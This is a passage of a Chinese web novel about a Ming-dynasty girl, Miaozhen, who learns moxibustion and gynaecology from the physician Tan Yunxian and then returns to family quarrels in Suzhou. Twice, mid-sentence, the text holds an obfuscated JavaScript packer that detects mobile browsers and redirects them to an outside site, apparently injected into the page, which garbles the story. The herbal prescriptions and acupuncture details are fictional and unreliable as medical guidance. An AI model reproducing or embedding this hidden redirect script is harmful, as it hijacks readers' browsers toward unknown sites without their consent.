她来的时候,谈允贤早就起来了,正在院子里打五禽戏,见到妙真过来,笑道:“小姑娘,你找我做什么?” “我是想来请教您,尤其是关于灸法的。”妙真诚恳道。 谈允贤莞尔一笑:“说起来我们也是有缘分,如今我的年纪大了,记性比之以前也没那么好了。凡事返璞归真,你把《灵枢》翻来覆去的看,错不了的。” 妙真听了微微颔首。 谈允贤又拿着汗巾擦汗,让妙真随她一道进去,并不问她针灸的事情,只问她家里的情况。妙真如实答道:“我爹是本府生员,后来无心仕途,遂开了一间书坊。因我母亲生弟弟时,请的医婆大字不识一个,只知道胡乱针灸,爹爹就让我学些医术,将来能替家里人看病,只是慢慢的,我竟然喜欢上医术了。” “嗯,你父亲有先见之明。只你有读书吗?” “有,从六岁开始读书,一直到去年年底,读了五年。” 谈允贤这才点头:“咱们女子学医不容易,要和那些医婆区别开,须得给人看病慎之又慎,最重要的是要辨证准确。我只在这里待半个月,半个月后,我就回无锡去,你早 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不仅仅是问病人病情,还会问起源,就像这位妇人,血崩数月不止后,后来甚至尿血,平日服用各种药物都没有效果。妙真连忙想如果是自己,就会选用《济生方》里的小蓟饮子,毕竟这方是主治热结下焦之血淋、尿血。 没想到谈允贤却是开的补中益气汤加黄苓、香附、大蓟,让她喝完这汤后,再服大补阴丸。 瞬间她恍然大悟,这妇人是因为常年劳作,气血空虚,便是经期也无法休养,所以这核心在于元气亏损,气不能摄血的缘故。 先补气,再用黄苓、大蓟止血利尿通淋。 妙真等那妇人走了,方才说出自己的见解,只见谈允贤惊讶道:“你说的是,专门堵一时是不成的。”说罢,又觉得妙真十分有悟性,说了自己治过类似的病人好几个,都是如此痊愈的。 妙真赶忙重新梳理一遍,不顾手上都是艾绒,先记在自己笔记里。 之后,便是疯狂搓艾,等回去的时候,一股艾叶味。 梅氏帮她留了饭,见她这般辛苦,不免道:“你也好歹歇息。” “人家好歹给我半个月,我一定要好好学才是。对了,娘,咱们家不是有梅子酱吗?我想装两罐,一罐送给我师傅,一罐送给谈允贤,不能厚此薄彼。”她想给自己冠名气,但也不会不理睬茹氏。 梅氏让她明早去装,她怕明早忘记,特地晚上亲自去厨房挖出来。又给一钱银子让厨下的芋香帮她置办两盒顶皮酥饼。 她其实是不喜欢人情世故的人,可偏偏跟人家学艺就是很多这样的人情世故,不懂这些就不成。 次日,她依旧准时到,谈允贤脸上的神色更和蔼些,见她带的梅酱来,又道:“我如今年纪大了,家里不耐烦弄了,原先年轻的时候,家里也是存着这些。” “我娘最会做这些了,我家里腌制的春不老,每年腌好了,邻里亲戚们都过来讨要。”妙真笑道。 谈允贤原本在渡口见到她就心生好感,仿佛看到当年的自己,如今相处几日,见她家境也算殷实,却还能吃苦,愈发有了好感。 16.天人交战 次日来,依旧是搓艾,搓的妙真哈欠直流。 上午搓完艾,谈允贤让她看《伤寒论》,用《伤寒论》里结合针灸讲解,妙真每每听到妙处,都忍不住觉得自己还是学的太浅了。 “期门穴一般斜刺或者平刺,还不能刺深了,半寸左右就行,我们一般大夫对这个穴位很谨慎,只有张仲景频繁针刺。还有风府穴更要谨慎,稍有不慎,可能会令人死亡。”谈允贤提醒道。 妙真连连点头,一直做笔记,恨不得把她说的每一句话都记下来,晚上回去原本很疲劳的。没想到爹娘都在等自己,她娘特地留了饭,清蒸的鲈鱼半块,酱瓜小碟,一小碟炒鸡蛋,她本来就饿的不行,简直是风卷残云,狼吞虎咽。 吃完还觉得没饱,徐二鹏把自己平时书房备下的零嘴都拿了来:“来,尝点。” 妙真接了过来,听梅氏道:“很累吧?” “累是累,机会却是难得。”她想起看《射雕英雄传》的时候,穆念慈因为得到洪七公三天将“逍遥游拳法”传授给她,因此武功大进,比武招亲历经七路,却无人能胜,自己却能学半个月,定然也能增益许多。 徐二鹏见女儿这样,又不知道从哪里拿了一袋核桃仁来:“核桃补脑多吃些。” 妙真接过来,噶蹦脆一口一个。 旁边的徐二鹏拿锤子来又锤开几个,吹了吹,方放女儿面前道:“你现在正是记性精力最好的时候,学什么也容易,但一定要坚持。” “女儿知道。”妙真忙不迭点头。 用完饭,她先回去整理笔记,又重新把针灸铜人拿出来试验一番,方才爬到床上睡觉。难得隔了两日是陶家大少爷的亲事,她这一天就得去拈带骨鲍螺。 她一个人带着两个丫头打发奶渣成奶油,小喜小声抱怨道:“要您做这么多呢?” “别多事。”得到的多了,出点苦力活算不得什么。有些知识,有些人捂的紧,好歹茹氏都会告诉自己,更别提还有大神指点。 被妙真呵斥一番,小喜也不敢多说,等都一个个做好了,她忙先去跟茹氏覆命。茹氏因为医术好,平日为人也强势,如今看起来也很干练,听妙真说做好了,忙拉着她的手道:“好孩子,辛苦你了。” “我只恨帮不上您什么忙。”妙真连忙说不碍事。 茹惜娘在一旁打量着妙真,态度有些微妙,她没能如愿进宫,女科荒废了许多,疮科又学的半吊子,多亏姑母帮她背书,这样的场合许多达官贵人来,姑母也是有意告诉外人自己才是茹氏医学传人。 茹氏又让她入席去吃,妙真忙推辞道:“我家里今儿还有事儿呢,您快去忙吧,我爹还要我早些回去的。” 陶家没给自家下帖子,爹娘没有送贺礼,她都不知道往哪里坐,还不如回去。 其实这些事情并不放在她心上,她和茹氏又没有亲戚关系,人家能传授她已经很不错了,所以回去就回去了,也不多说什么,倒是能好好歇息一二。 这些事儿徐二鹏当然也听说了,他吩咐梅氏不要多问,还道:“这些事儿别多问,以前我听说人家学手艺的还被打呢,我们妙真这样已经很好了,至少什么都学到自己身上。年少能吃苦的人,往后越过越顺,而少年时太顺了,将来未必是好事。” 他现在年逾三十,已经算是有些人生阅历,深有些体悟。 妙真难得歇息一会儿,只睡了个昏天暗地的,起来睡不着,和两个丫头在油灯下做针线,她打算,做一对护膝送给谈允贤。 隔日过去,她往陶家送了冬枣来,这些都是她自己的体己置办的。谈允贤上了年纪,过了喜宴,人有些不舒服,妙真便在她房里安静看书,也就不多问。 等人家愿意指点的时候,便指点几句。 陶家大公子娶的媳妇很漂亮,因为姓尤,有人私下开玩笑说她是尤物。但她一嫁过来,虽然受丈夫欢喜,但是茹氏似乎对她有些不喜,当然婚前,她就听茹氏抱怨了。 因为她们成婚之后就中秋节,茹氏见她是正经主子让她开始和大妈妈一起打理,没想到她弄的七零八落的,一直到中秋节时,备下的礼都还没来得及送。 茹氏正同大妈妈抱怨:“平日和我合作的几大药材商,她是一个也没送去。” 大妈妈也道:“还过两日杨家老太太要回家了,程仪已经打点好了,您要不要过目?” “我哪里有那份闲心,唉,对了,徐姑娘上回帮我做了那么些酥油鲍螺,我正想着回送些什么给她,结果忙起来又忘了。”茹氏不是不擅长庶务,是她各种事情都纠结到一起了。 大妈妈笑道:“徐姑娘是真心上门帮忙的,哪里要您回送。” “话也不能这么说,咱们也不能让人家白送。”茹氏道。 大妈妈捏了捏手里的银饼,忍不住一笑:“要我说您还不如让她认在杨老孺人那里做徒弟算了,一来是抬举她,二来,我听说张夫人有意想让张家姐俩拜在您这里,到时候您也教不了这许多人。” 张家是药材商,偏张夫人膝下无子,家中准备招赘,倒不好让赘婿把持生意,自家女儿总得懂些医理。 这个人也并非是大妈妈胡诌的。 但见茹氏道:“其实我该教的也教的差不多了,再教也没什么了,罢了,这也算是成人之美吧。” 大妈妈暗自在心里吐槽觉得茹氏纯粹觉得张家姐妹有钱,至少可以七八年学下来,徐姑娘聪明机灵悟性高,针灸学一遍就会,女科能把方子倒背如流。 况且徐家只是小商户人家,给的束脩有限,到底不能和张家这种药材商相提并论。 “太太,这个坏人也不需要您做,我去跟徐姑娘好好说说,保管说好。至于杨老孺人那边,奴婢就没这么大的面子了,她可不是那么好说动的啊。”大妈妈故意道 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她们俩虽然年纪相差很大,但是谈起医术的时候照样能够说到一起,妙真从她身上也学到很多,一定要倾听病人说话,抽丝剥茧找出病因,要不然只迷惑于表象,很容易误诊。 从陶家回来,妙真就把这个好消息告诉她爹娘了:“那大妈妈说的有几分真,我也不知道最后能不能成,到底心放肚子里去了。” 偏徐二鹏道:“你若是拜了她老人家,岂不是要去无锡?这怎么好。” 在他看来女儿跟着爹娘才最安全,在外面出了什么事情,谁负责任? “杨孺人年纪大了,未必肯收我的,大妈妈这么说是因为我把体己都给了她,但具体人家同不同意,这就不好说了。”妙真还是知道这些的。 徐二鹏也是一时无话。 却说中秋节时,徐老太一时不测,搬顶柜上的袋子的时候,从凳子上摔下来了,一时腰椎不能动弹,只能静养些日子。 原本徐老太烧饭洗衣服的活就都交给了四娘,徐四娘以前在她娘能干时处处躲懒,如今已然是不能再躲了,遂被迫开始洗衣做饭。 徐二鹏从老宅回来,还道:“还别说四娘现在做的饭比我娘做的好吃。” 再懒的人在一定的环境下,都能逼自己成长。 妙真的事情很快就得到了回复,谈允贤愿意教她医术,但是要她跟着去无锡两年才行。徐二鹏和梅氏虽然心里不愿意女儿去那么远,可也尊重女儿的意见。 “真真,你自己考虑好。” 古代不似现代,一般的人如果不是过不下去,很少背井离乡的。要不然信息不通畅,出了什么事情,一来一回都耽搁了。 而且还要去两年…… 可自己努力了这么久,难道就因此放弃了吗? 妙真脑海里真是天人交战。 17.小儿食积 初秋的渡口,氤氲在一片雾气里,去了许多燥意。 一艘乌篷船上,妙真伴着谈允贤一道在舱内坐着,外面传来徐二鹏和陶二郎说话的声音。她最终还是选择跟谈允贤一道去无锡,但徐二鹏不放心,他还是要亲自送她到杨家。 他是个写探案话本的人,天然对所有人都不是很信任,即便此人德高望重都是如此。 昨晚,她爹已经跟她说了,会一个月派小厮来旺过来一趟,平日尽量多适应,但是遇到不好的,一定要写信让来旺带回来,他就来接。 “老夫人,您要不要躺一会儿啊?”妙真道。 谈允贤摆手:“久躺伤气,倒是你头一回出远门吧。我小的时候,也是跟着我爹娘在任上长大的。” 谈家世代官宦,茹家亦是如此,《女医杂言》里写茹序的茹銮还曾经做过福建布政使司,是谈允贤的表弟。只是她孙子杨乔受到株连,谈允贤也是什么都看淡了,人十分豁达。 “我是头一回出门,也是托您的福,其实我爹娘不是很同意我往这么远走,但是我想如今年轻的时候不出来看,日后怕也是没有机会了。”妙真若有所感。 谈允贤笑道:“你小小年纪,难得事事有主见,这是好事。” 中午船家送来饭菜,有田螺酿肉、炒太湖白虾、清蒸太湖刀鱼、八宝鸭、西瓜鸡另几样清爽的菜,这是徐二鹏吩咐人做的,出来外面他是绝对要给女儿长脸的。 年轻人素来胃口好,妙真吃了一碗,又添了半碗,惹得谈允贤咂嘴道:“我看着你这么吃,我都饿了。” “我给您剥虾吧。”妙真道。 谈允贤虽然这把年纪,但是头脑清楚,谈今博古不在话下,她说从苏州到无锡只要顺风顺水不到一日就到了,路上还和她讲风土人情。 外面徐二鹏正和陶二郎吃饭,还好他提早把稿子赶出来,要不然火急火燎的,这头那头都得担心。他也难得歇一歇自己的手,常年写字,手是抬不起来的,睡觉都是浑身酸痛,再等几年他多赚点钱,就可以不必这般没日没夜的写了。 天擦黑,她们一行人就到了岸口,妙真见附近的小贩在卖冰饮子,忍不住吞了吞口水,船上人都快晒干了,喝正常的茶水已然不能解渴了,但是又怕谈允贤说自己,她逡巡了半天,才听谈允贤道:“你若口渴,让人买些来喝就是了。” 妙真一听,还有些不好意思:“我还以为您会让我别吃冰的呢。” “少吃生冷的确不好,但是心情不好就更容易发病了,人最重要的是心情。”谈允贤想起自己年轻的时候也是这般。 原本忐忑不安的妙真,因为这句话,不知怎么心情放松下来了。 徐二鹏早已在附近的车马船行雇了马车送她们回去,他是个很会料理庶务的人,又讲面子,平日在家懒得不行,出门在外勤快倒是把妙真都吓到了。 扶着谈允贤上了骡车后,怕她老人家磕碰着,一路不敢松手。半个时辰之后,到了一处宅邸,门口石牌坊上却没有匾额,房屋有重檐兽脊,门庭宽达三间。 还未下车,就见门口的老管事急忙上前道:“老孺人,门口来的病人在这里等了两天了,是个六岁的小女孩,说是快死了。” 谈允贤一听立马就带着妙真进去,已然来不及收拾,就见到一对夫妻抱着一个小女孩进来,那小姑娘已然是奄奄一息,似将死之人。 那对年轻父母一脸愁色,妙真见自己这位师傅却很镇定,正问起她们:“这孩子是怎么了?这样多久了?” “乞巧节的时候不让她出门去,就哄着她吃了不少糖水圆子,可是没想到自从那日趋,这孩子的病就重了,我们也寻了好些大夫,吃了好些药也不济。” 妙真就见她用手按那个小女孩的腹部,问那女孩儿:“痛不痛?” 那女孩儿微微点头,只见谈允贤又问她爹娘:“平日这孩子爱吃什么?” “什么都吃,想吃什么我们就买给她吃。”这对夫妇对女儿是极好。 妙真心想《丹溪心法》倒是有保和丸,听说那丸药能治一切积食,这孩子按腹痛,也是实证,但她不会直白说出来,毕竟她也不太擅长小方脉科。 却见谈允贤道:“我开的是追积丸,你们先让她服下看看。” 说罢,写下追积丸,那对夫妇见了这方子,赶紧带着孩子去外面药铺买药。等她们走了,妙真则把自己的疑问问了:“依照我小小的见识,还以为这病会开保和丸呢。” “你看那孩子面黄肌瘦,脸上还有虫斑,家中饮食还不节制。所以我开的这追积丸不仅可以消食、导滞、和胃还能杀虫。”谈允贤道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065922|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>妙真忽然觉得自己从只会针灸到女科,如今到所有都涉猎,她有一种感觉,自己的人生似乎就要改变了。 晚上,她睡在谈允贤隔壁的院子,草草收拾了一下,就歇下了。 谈家在无锡有谈半城之称,很有势力,但谈允贤却还是住在杨家,屋子里摆着各种医术,这把年纪还在不断精进自己的医术,这才是真的后世之泽。 想着想着,她竟然睡着了。 她是睡着了,徐二鹏却没睡着,送饭的老仆这里,他也打听了半天。得知谈家在无锡的地位,他又知晓谈允贤以前常常进京为宫里的太后皇后妃嫔诊治,只是如今年纪太大了,就安居在乡。 女儿能够跟在她身边学医,绝对是划算的。 再有杨家用饭也是菜蔬荤腥都有,家里仆从虽然不是很多,但也十分得力,这也够了。 他们这样没背景的人家,一步一步都是靠自己走出来的,就得格外谨慎。多少满口仁义道德的人,背后也未必好,故而这也是他一个月派人过来看一次的缘故。 思来想去竟然到了天明。 他起身换了一件簇新的绸衣,平日在家家里人都是穿布的,只有出门才会穿的好些,不让人看笑话,这一路都是他安排,耗费也有,但都有限,钱要花在刀刃上,日后家里出个什么事情,手里有积蓄,比什么都强。 一大早昨日那来看病的女童的爹娘过来了,他们家里并非有钱人家,却置办了七八样水礼送来,说昨日女童用了追积丸之后,遂泄下糖圆子,身上已经舒服许多。 妙真在一旁见了也觉得高兴,她似乎也找到医者存在的意义,救活一个人,真的非常欣慰。 等在杨家用了早点后,陶二公子还要去茹家走亲访友,徐二鹏就准备告辞了,妙真出来送他:“爹,您这一路小心些。” “放心吧,我白天回去没什么危险。倒是你,我跟你给了十两银子,别一股脑儿的跟散财童子似的全部花了,自己得留心些,在人家家里,别听人家几句好话,就真的觉得跟在自己家一样了。有什么烦难的事情,让告诉我和你娘,知道么?”徐二鹏叮咛着。 妙真重重点头。 徐二鹏走出大门,往后挥挥手:“别送了,回去吧。” “请您和我娘多珍重。”妙真也使劲挥挥手。 18.学成 却说时光如白驹过隙,光阴如梭,一年半很快就过去了,谈允贤因为年纪实在太大,外孙女不放心,亲自接她过去居住,妙真遂拜别了师父,提前随着爹娘回家。 她的衣裳不过三四套换洗的,医书却是满满装了三口箱子,爹还是和往常一样,一不写字,就全身酸痛,常常用一个木锤子捶着胳膊肩膀。 “等我回去给您灸手三里、曲池穴,保管灸了之后浑身舒畅。”妙真忙道。 徐二鹏连连点头,他就巴不得有人给他疏解一下腰酸背痛的。 三人上了船,风还有些大,妙真赶紧让梅氏披上衣裳,因她娘去年年底刚生了弟弟,不能受凉。 又听梅氏道:“你刚满了十三了,这书也读了,医术也学了,日后就好生在家。说来,你小姑姑正好也要出嫁了,还赶得上呢。” “娘,大伯父和大伯母会从金陵回来吗?”妙真还记得大伯父当年让家中送钱的事情。 梅氏捏了一下她的手:“原本你爹和你三叔托黄家的人去问,后来也写信给你大伯的朋友,都杳无音讯。结果,今年元宵节这几个人终于回来了,回来后,一时住的地方都没有。先在你三叔家住了几日,你三婶的为人你也是知晓的,你六岁时,她跟你给了五文钱,到现在都还在说嘴,你祖母还跟你大伯一家讨你小姑姑的嫁妆钱。这一来二去的受不了了。你三叔他们又说咱们家有空院子,要来咱们家里歇脚,亏得你爹不同意。” “那后来怎么办了?”妙真问起。 梅氏道:“之前咱们那两间屋子一共作价二十两卖给你三叔的,但这些年他陆陆续续的,也不过才还了一半。所以,你爹当着全家人的面说,让各家一共借十两给你大伯,让他们至少有歇脚的地方,不能总寄人篱下,至于,咱们家的那十两,就让你大伯跟你三叔讨去。” 妙真听了,直是庆幸他爹精明,从三叔的债主变成大伯的债主,不过,她又问:“后来怎么样了?” “你三叔只拿了十两出来,说是还你爹的债已经还清了,这十两就能买两三间屋子住下了。不过你大伯父他们拿了这笔钱,去了染巷附近赁了两间屋子住下。” “何至于此,我记得他们家好衣裳好首饰那么多,随意当掉几件不就好了。染巷住的人三教九流,龙蛇混杂的,并不好。” 原本在一旁捶背的徐二鹏道:“那有什么办法呢?我也只做个顺水人情,能从你三叔这里饶出十两给他,已然不易。” 妙真听了心有所感,又忍不住想茹氏的诊金每次约莫二三钱左右,名家却常常二三两或者到五两左右,自己若是收诊金,只能先从一钱收起。 无论在古代还是现代,日子想过的好,有所追求,都得先把物质充实。大伯虽然是贡生,可过的如此穷困潦倒,以至于无法安居。 所以赚钱还是很重要的,她如今也算是身经百战,又有杨孺人弟子的头衔,自然会和之前不同。 正想着,她打起哈欠来,梅氏搂着她道:“先睡会儿,等你睡了起来,咱们就到家了。” 徐大郎家里,他也在睡觉,原投奔了朋友去的,过了大半年才通过朋友找到一份差事,可是因为不小心把朋友养外室的事情说漏嘴了,差事很快没了。黄氏没了亲戚的扶持,也没有门路,偏偏当女儿的那颗宝石项链,准备盘一间铺子,做点小买卖,他都想弯下头颅做商贾事了,没想到那副千户家里送的项链浑然是假的。 无奈,他当了自己一件皮毛衣裳,钱刚到手,黄氏又说要拿出来给女儿置办嫁妆,一直恳求他,他又把钱给女儿了。 到最后的一年,黄氏还生了个孩儿,只没想到孩子生下,因没有好好调养,孩子夭折不说,黄氏还染上了产后急症,家里能当的都当了,最后一家人只好回来苏州。 “爹,您吃些东西吧,等会儿您还要出去呢。”妙云端了稀粥和一碟酱菜来。 徐大郎准备再去徐二郎那里,想看看自己能不能在弟弟的书坊做个账房,这样也总比出去跟人家做活强。 爹娘近来总是争吵,妙云也有些害怕,当时在金陵因为父亲被辞退,她的亲事也不了了之,所有往事都如过眼云烟。 回来苏州之后,二妹妹妙真拜了名医杨孺人为师,二叔听说还打算为她备下大笔嫁妆,三妹妹和木作坊的老二定了亲,因听说二妹妹拜师学医,她也跟着一位稳婆学接生。 只有她,似乎一事无成。 想到这里,又想起那副千户夫人当时送自己一条嵌宝石的项圈,当时娘和她都喜不自胜,还跪下来磕头,没曾想什么那宝石都是假的,链子连银的都不是。 那些权贵全然拿她们当猴耍呢,那时她娘还不知道,主动免了半年的束脩。 “徐姑娘,徐姑娘——” 见外头进来了一个婆子,妙云起身道:“林婆,有什么事情?” 林婆是个插戴婆,寡妇失业,就靠手艺养活家人,她此时却打扮的很素净,先问起黄氏:“你娘去哪儿了?” “我娘去方家做衣裳去了。” 黄氏有她叔父在,很快就介绍了活计,替方家出嫁的新娘子绣喜被嫁衣。 林婆一听,遂一拍大腿,很是遗憾:“你娘上回同我说哪里要寻绣花娘,只管寻她,还真让我遇到了,就帮忙应承下来。偏她不在。” 妙云却心中一动:“林奶奶,您找我也是一样的,我虽然年轻,但随我娘做针线许久了。”说罢,又把自己做的绣件拿出来。 那林婆一看,果真是针脚细密,不是俗物,图案也新巧,遂应承下来。 妙云松了一口气,总算是能贴补家用了。等攒到钱了,她们就不必住在这样的地方,看亲戚们的眼色了,也在胥门或者阊门买一处好的宅子。 又说妙真她们一行人到苏州的时候,太阳已然是快落山了,刚到家时,还发现门口站了一个黑影,把众人吓了一跳。 “大哥,你在此处做什么?”徐二鹏已然筋疲力尽,昨儿晚上坐的渡船去无锡,一早还要和杨家人道别,白日又坐船回来,如此舟车劳顿,他实在是没心情再应付人了。 徐大郎只是想着自己无事可干,急于寻找一桩进项,故而,也不管这些,遂道:“我想问问你这里缺不缺一个账房?” 徐二鹏道:“李伙计管着账呢,平日他在料理。” 他不爱用熟人,都是找的比较懂行,胆子又小的,这样也好管理,李伙计来他这里做了二三年了,比前头那个伙计好用多了。 本来他家就是小作坊,又不是那种动辄几百人的大书坊,哪里还要专门的账房。 却听徐大郎期期艾艾的道:“我看那李伙计忙着呢,怕是有时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071321|178498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙不过来,若是加个账房——” “我倒是想,哪里有钱啊。”徐二鹏听出他的意思来了,直接就拒绝了。 亲戚不共财,这个道理他是知道的,一开始就拒绝,倒比黏黏糊糊不给准话,到时候又不同意结仇强。 徐大郎见进门之后,二房的下人都过来了,自己干坐倒是跟小丑似的,招呼也没打就回去了。 大人们的事情既然能处理好,妙真也就不会在其中啰嗦,她先让丫头仆妇把行李送到楼上归置,又和爹娘在一处,等着灶下送饭来。 坚哥儿和小弟弟坤哥儿都已经睡下,听闻坚哥儿已经在附近上了社学,没请先生在家里教。她爹说读书是不是有天赋一看就知,不必要搞特殊。 很快芋香就造了几样饭菜上来,大家已然累极饿极,自然是一顿好吃。 用完饭后,她爹立马钻去书房写书,娘则陪着她去后罩楼上,路上只说些私房话:“你爹爹说还有两年你就要及笄了,到时候也是到了出阁的年纪,这几年咱们都俭省些,为了置办上千两的嫁妆,日后也好说个好婆家。” 妙真脸一红:“还早着呢。” “也不早了,若是等到年纪大了,再去说亲,那就迟了。妙莲都已经定了亲事了,就是木作坊的老幺,你三叔她们还有些不满,觉得人家家里不好。”梅氏道。 妙真则道:“既然不好,怎么又同意了?” 梅氏笑道:“也就那么一说罢了,做岳家的有几个对女婿满意的,就像做婆婆的也没几个喜欢儿媳妇的。” 妙真莞尔:“这倒也是。” 说话间,二人到了房间,妙真把着梅氏的脉,又问道:“您产后有没有什么不适?” 梅氏只是摇头,她对女儿说这些私房话,总觉得不好,便说没有。妙真道:“那若是有什么身体不适,一定要同我说。” “好。”梅氏又要帮女儿拆头发。 妙真拆了头发后,下人提了热水来,她就送梅氏出去,方才沐浴梳洗。 小喜和小桃道:“姑娘,还是回家好吧?” “肯定啊,还是回家好。”妙真把头放在浴盆边缘。 且说徐大郎回去之后,黄氏又同他吵了一架,无非是骂他没本事云云。徐大郎则冷笑道:“我若是没本事,你之前还能当官太太,你嫉妒高志远的太太,拼命让我把他外室的事情捅开,说不能让高太太被耍,我捅开了,差事也没了,女儿的亲事更是没了。” 黄氏听了脸上红一阵白一阵的,又骂道:“我都说别去金陵是非之地,你非要去,还不是你家贪得无厌——” “我家贪得无厌?好歹我弟弟还借了十两给我。”徐大郎也不甘示弱。 …… 妙云拉着被子,把头蒙住,这家不是家,成日吵闹。看今日林婆子带她去的那家,那姑娘天真无邪,太太和蔼可亲,她帮忙做几件绣折枝花的马面裙和衣襟上的眉子,那家的女孩子不过才六岁,甜滋滋的叫自己姐姐。 只是,那位夫人说起想为自己女儿找女先生的时候,她鬼使神差的竟然冒充了自己的堂妹,说她是仇娘子教了几年的女学生。 她曾经听二婶说仇娘子因为其弟仇御史的赞颂,在三吴名气大增,那位太太一听她是仇娘子教出来的,只是如今家道中落,立马考虑让她做女先生。 19.马家病患 早上,妙真从床上伸了个懒腰,还是家里的床舒服。恋恋不舍的起床后,她就先和梅氏一起用饭,还见到了两位弟弟,把自己从无锡带回来的玩意儿分给她们,又去陶家拜见了茹氏,方才去找马玉兰玩耍。 却没想到马太太支支吾吾的,妙真不解:“伯母,马姐姐她怎么了?” “真真,你回去吧,你马姐姐生了病,不能见人。”马太太打发她回去。 妙真回来后,立马问起梅氏:“这马姐姐她怎么了?马伯母也不让我见她。” 梅氏小声道:“我听说是患了恶疾,还请过道士辟邪,也不让见外人,我也不知道怎么了。” “既然这样,想必也是不想惊动别人。”妙真怕是阴私之事,也就不再多问了。 这些年她跟随师父治病,多有富户大家,你要主动看病,病才会好,若是说话藏藏掖掖,大夫辨证不准确,那也是白治。 中午,她搓枣核大的艾柱,隔着生姜帮徐二鹏灸手三里。 徐二鹏灸了之后,妙真又帮他刮合谷穴,他舒服的往躺椅上一靠:“家里有真真这个大夫,可比什么都好,我这手都感觉气血全通了。” “爹,您也太夸张了。”妙真只是笑。 徐二鹏原本常常因肩膀手疼睡不着,今日中午灸了之后,竟然舒服的想睡觉了。 若说茹氏在女科上颇有成就,常常辨证准确,然谈氏则非常擅长温灸之术,可以说得上是起沉疴,愈固疾。 又非常重视丹溪学说,所以妙真如今看的很多书都是朱丹溪有关的。 徐二鹏这么一灸,丰娘也来了,她是左边脖颈处有包块,她很是担心:“我用鸡血和香火涂抹都没效,小姐,我这是什么病啊?这还能动呢。” 妙真摸了摸,先消除病人的紧张气氛:“这不打紧,以前我遇到过,这是痰核之症。《丹溪心法》说一人患虚损,全身都是块。” 丰娘在梅家的时候就劳碌,到了自家稍微好一点了,她也闲不住。妙真带她进了内室,先让她褪去外衫,灸了左侧的翳风穴和肩井穴。翳风穴是手足少阳之会,肩井穴就更重要了,在灸的过程中,她又开了方子。 “我给您喝当归连翘汤,能扶正托毒,透脓生肌。再加二陈汤,您不知道二陈汤是一身的痰都能治,苍术二钱,这苍术也是能绝痰的,青皮给您也下了一钱,这能散结消痰。”妙真解释道。 虽说她有谈允贤弟子的头衔,但是总得自己闯出自己的名堂来,现代可以在医院慢慢积累名声,古代就得先做起口碑,所谓口碑就是从里到外。 先帮家里的人看好病,再开始医治街坊邻里,如此名气很快就传出去了。 想到这里,她还怕丰娘不肯拿钱吃药,准备拿自己的体己,丰娘赶紧道:“小姐帮我诊治就罢了,还要帮我买药,那我就不是个人了。” 丰娘虽然是梅家的人,但到徐家后,深得梅氏信任,每年过年都会给一笔赏钱她,她将来也是准备在徐家养老的,所以对妙真和两个弟弟都当自己孩子似的。 妙真阻止她:“我手里还有钱的,您放心吧。” 说罢,让丫头把药方拿到前面让小厮去药铺抓药。 丰娘满脸感激,妙真却让她不必在意。 等丰娘离开之后,她正欲歪一歪,要知道帮人家针灸治病,自己也是有点累的,更何况前几日舟车劳顿的。 刚眯了一会儿,就见妙云来了,妙真忙起身:“大姐姐怎么来了?” “我听我爹说你回来了,所以过来看看。”她见妙真在家穿的药斑布的上衣,下面是白棉麻的裙子,很简单素净,完全不像是富家千金的样子。 妙真也并不觉得自家是富家千金,他爹如今手里也不过几百两银子,一大家子都指着书铺,又没田地又没祖产,只要来一场大事就风雨飘摇。 但见妙云专程来看她,还带了果子来,妙真笑道:“咱们俩也有几年没见了,且说说话吧。” 妙云微笑点头,又说她娘如今去给方家人做嫁妆,要做两年之久,还道:“我娘如今眼神不大好,真希望她别一直绣了。” “绣娘就是很容易这般,你到时候买些菊花枸杞给大伯母泡茶喝就好了。” 苏州多绣女织户,很多到了四十多岁就几乎是眼神模糊了,也有少数一些天赋异禀的人到八九十岁的年纪仍旧能够绣花的。 二人闲话几句,妙云不动声色道:“我记得你绣花是跟着你们家女先生学的吧?” “对啊,从画花样子到打样怎么配色选线都教了的。”妙真说来还有些想念仇娘子。 妙云当然是来套话的,她娘虽然做过女塾师,但那是看在叔外公的份上,现在可没这么好的事情了,自己既然以仇娘子的徒弟自居,当然得了解。故而,她又要看花谱,妙真不知道妙云存着这样的心思,就把花谱的册子让小喜拿了来。 这妙云把册子拿在手里,一边和妙真说起徐四娘成亲送些什么,一边暗自把花谱的顺序记下来。 但她也不好做的让人看出来,又说起别的话题来:“喏,我看你这花谱从易到难。就跟咱们读书似的,我记得你当时在余秀才那里读的,后来到仇娘子这里,有区别吗?” “有啊,区别大了。仇娘子教我们读书写字庖厨女红这些不说,主要是在诗词歌赋上很下功夫。”妙真笑道。 妙云又很感兴趣似的闹着要看妙真的笔记,妙真指了指左边书柜:“喏,就在那儿呢。” “我去看看,看和我学的有什么两样。”妙云笑着过去。 妙真起身道:“那姐姐就看吧,正好我要整理医案了。”医案是非常重要的一项工作,到时候患者治疗效果如何,都是有所本的。 医案写了,她还要搓艾壮,做香囊,还是有不少事情要做的。 妙云就偷偷看妙真的笔记,但见她看了半个时辰后,见屋里真安静,遂立马起身告辞,妙真让丫头送她出去。 等丫头回来了,妙真才道:“你们有没有觉得大姐姐仿佛今日对我女学的东西特别感兴趣?” 小桃素来钝感,觉得不知道,小喜却道:“您花了那么些钱学的东西,她肯定想借故学了去,不如奴婢帮您先把书收起来放箱子里吧。” “也成,外面摆着医书就好。”妙真道。 